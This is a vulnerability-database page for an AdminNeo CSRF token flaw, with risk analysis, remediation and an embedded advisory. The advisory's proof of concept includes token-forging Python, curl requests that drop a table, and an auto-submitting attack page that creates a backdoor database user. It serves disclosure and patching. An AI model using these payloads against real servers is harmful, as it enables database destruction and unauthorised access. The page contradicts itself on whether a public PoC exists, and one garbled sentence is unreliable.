Skip to main content

AdminNeo CVE-2026-96629

MEDIUM
Use of Insufficiently Random Values (CWE-330)
2026-10-30 https://github.com/adminneo-org/adminneo GHSA-wm25-49w3-5qrg
6.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Observe or brute-force a single CSRF token
  2. Delivery
    Lure authenticated victim to malicious page
  3. Exploit
    Recover session secret via one XOR
  4. Execution
    Auto-submit forged token carrying arbitrary SQL
  5. Impact
    Execute SQL in victim session, create backdoor DB user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A04:2025 - Cryptographic Failures
ASVS 5.0
V11 - Cryptography Cryptographic random values
Exploitation Conditions

Exploitation requires that the target run AdminNeo < 5.5.1 with its default XOR-masked CSRF token scheme (no special configuration needed - the weakness is in the default token generation/verification in functions.inc.php). The attacker must first obtain the session secret, which requires EITHER observing a single valid CSRF token through an out-of-band channel (Referrer-header leak, shared proxy logs, browser history, network sniffing, or limited XSS) and XORing its two transmitted operands, OR performing up to ~1,000,000 blind requests against the ~20-bit rand(1,1e6) session token. The attack then depends on a victim who is currently authenticated to AdminNeo being lured to visit an attacker-controlled page (UI:R), which auto-submits the forged token. Limiting factors that reduce realistic risk: an active authenticated session must exist, user interaction is required, token-observation exploitation depends on a secondary leak channel, and AdminNeo 5.5.1 adds a Sec-Fetch-Site same-origin check that blocks cross-site submission entirely.

Impact

The CVSS 3.1 vector (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H, base 6.8 Medium) frames this as a network-reachable, unauthenticated flaw that nonetheless requires user interaction (UI:R, a logged-in victim must visit an attacker page) and carries high attack complexity (AC:H), reflecting the precondition that the attacker first obtain a valid CSRF token or perform blind brute-force. The multi-source signals are mixed: there is a detailed, reporter-validated PoC in the GHSA advisory, but no CISA KEV listing and no EPSS score was supplied, so there is no evidence of active or widespread exploitation. The vuln.today priority Decision label is 'this_month' - a patch-promptly signal, not act_now/emergency - which is consistent with a Medium-severity, non-KEV issue. The crypto design flaw is genuinely severe in mechanism (observing a single token instantly recovers the session secret via one XOR, and the ~20-bit entropy of rand(1,1e6) makes blind brute-force feasible within ~1M requests), so the technical impact is real; however, realistic risk is tempered by the UI:R requirement and by the limited reach of a recent Adminer fork. One conflict worth flagging: the vendor scored C:N (no confidentiality impact), yet the description claims attackers can 'exfiltrate data' - this is defensible because CSRF responses are blocked by the same-origin policy, but a CSRF-created backdoor DB user would grant full follow-on read access, so the practical confidentiality exposure is higher than C:N alone suggests. Net: a real, worth-patching issue, not a drop-everything emergency on current signals.

Exploit ScenarioDerived

An attacker obtains one valid AdminNeo CSRF token - via a Referrer-header leak, shared proxy/browser-history logs, network sniffing, or limited XSS - and recovers the session secret with a single XOR because the token transmits both the mask and the masked value. The attacker then lures an authenticated AdminNeo user to a malicious web page that auto-submits a forged token executing arbitrary SQL (e.g. creating a backdoor database user). A detailed PoC exists in the GHSA advisory, reported as validated against a live AdminNeo 5.5.0 instance; the ~20-bit session entropy also permits blind brute-force (~1M requests) with no observed token at all.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 30, 2026

Cross-site request forgery in AdminNeo before 5.5.1 lets anyone who sees a single CSRF token recover the per-session secret and mint unlimited valid tokens, because each token transmits both the XOR mask and the masked value in the clear as '(rand XOR secret):rand'. The session secret itself is drawn from rand(1, 1e6), roughly 20 bits, so it can also be brute-forced with up to about one million requests, and verification uses loose '==' comparison. Exploitation still requires a logged-in AdminNeo user to be lured into submitting the forged token (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H, base 6.8), and the advisory ships a PoC validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2); there is no CISA KEV entry and no confirmed active exploitation. With a forged token the attacker can run arbitrary SQL through the victim's session, including dropping tables, exfiltrating data and creating backdoor database users.

RemediationAI

Upgrade AdminNeo to 5.5.1 or later; the fix is in commit f575eee5e35eacd6c55a9912648e9e8fe24a9f44 and the release at https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1, with details in advisory GHSA-wm25-49w3-5qrg. The patch hardens verify_token() by additionally requiring the Sec-Fetch-Site request header to be empty or 'same-origin', which blocks the cross-site auto-submit path used by the published attack page; note that the commit diff does not change token generation, so the underlying '(rand XOR secret):rand' format and the ~20-bit rand(1, 1e6) session secret remain, meaning any deployment that depends on token secrecy should treat 5.5.1 as the vendor-supplied remediation baseline rather than a redesign of the scheme. Because exploitation in the assessed scenario depends on a secondary leak channel (Referrer header, shared proxy logs, browser history, network sniffing or limited XSS) or on roughly one million blind requests, deployments that cannot patch immediately should at minimum keep AdminNeo traffic on TLS and avoid exposing tokens through cross-origin referrers - though the available sources do not document these as vendor-endorsed workarounds, and no formal alternative mitigation is listed; updating is the only complete fix the advisory describes.

Affected Packages

composer adminneo-org/adminneo fix: 5.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AdminNeo is a PHP/MySQL database administration front end distributed as composer/adminneo-org/adminneo. Its CSRF defence in admin/include/functions.inc.php implements a BREACH-resistant masking scheme: get_token() computes ($rand ^ $_SESSION["token"]) . ":$rand" with $rand = rand(1, 1e6), and verify_token() splits the submitted value on ':' and recomputes the XOR. Because the mask and the masked value travel together, the masking provides no secrecy - secret = masked XOR rand in a single operation - which is the CWE-330 (use of insufficiently random values) weakness, compounded by the ~20-bit entropy of the session token set in admin/include/auth.inc.php and by a loose '==' comparison that invites PHP type juggling. The resulting practical impact class is CWE-352 cross-site request forgery, since possession of the secret converts into arbitrarily many valid tokens that a third-party page can auto-submit. The upstream fix commit f575eee5e35eacd6c55a9912648e9e8fe24a9f44 appends an origin gate to verify_token(): the check now also requires $_SERVER["HTTP_SEC_FETCH_SITE"] to be empty or 'same-origin', with the CHANGELOG entry 'Check Sec-Fetch-Site header'. That diff addresses the cross-site submission path only; the token generation code shown in the commit remains XOR-masked with the same low-entropy rand() source. The root issue was originally reported in Adminer (GHSA-q4f2-39gr-45jh / GHSA-33j4-hc95-pggg) and carried into AdminNeo.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 6.8 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H
vuln.today AI 6.8 MEDIUM

Remote CSRF needing a logged-in victim to visit an attacker page (UI:R) and prior token observation or brute-force (AC:H); attacker is unauthenticated (PR:N); same-origin policy blocks reading responses so C:N, while forged SQL yields I:H/A:H.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

DescriptionGitHub Advisory

Summary

AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.

Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh

Details

Token generation in admin/include/functions.inc.php lines 1181-1184:

php
function get_token() {
	$rand = rand(1, 1e6);
	return ($rand ^ $_SESSION["token"]) . ":$rand";
}

Token verification in lines 1189-1192:

php
function verify_token() {
	list($token, $rand) = explode(":", $_POST["token"]);
	return ($rand ^ $_SESSION["token"]) == $token;
}

Session token initialized in admin/include/auth.inc.php lines 327 and 385:

php
$_SESSION["token"] = rand(1, 1e6);

Three distinct weaknesses:

  1. Instant recovery: The token format (rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.
  2. Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
  3. Loose comparison: verify_token() uses (loose comparison) instead of =, enabling PHP type juggling.

PoC

Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).

Step 1: Observe a single CSRF token

Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:

html
<input type='hidden' name='token' value='222277:990527'>

Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.

Step 2: Recover the session secret (instant, 1 XOR operation)

python
observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530

The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR - zero additional requests needed.

Step 3: Forge unlimited valid CSRF tokens

python
import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370

Each forged token is unique and valid. The attacker can generate as many as needed.

Step 4: Execute arbitrary SQL with the forged token

shell
# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=729376:481370" \
  --data-urlencode "query=DROP TABLE csrf_victim_table;" \
  -d "limit=0"

Step 5: Verify a random wrong token is rejected (control)

shell
curl -b victim_cookies.txt \
  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=111:222" \
  --data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."

Weaponized CSRF attack page

In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:

html
<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
      action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
  <input type="hidden" name="token" value="729376:481370">
  <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
  <input type="hidden" name="limit" value="0">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>

Impact

  • Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE - all accepted by the server.
  • An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
  • With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
  • The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

Threat Intelligence Overview

Prevalence
Low
recent niche fork of Adminer, limited production footprint
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
3 sources
Confidence: Low

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Affected Products (CPE)GitHub Advisory

pkg:composer/adminneo-org_adminneo

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy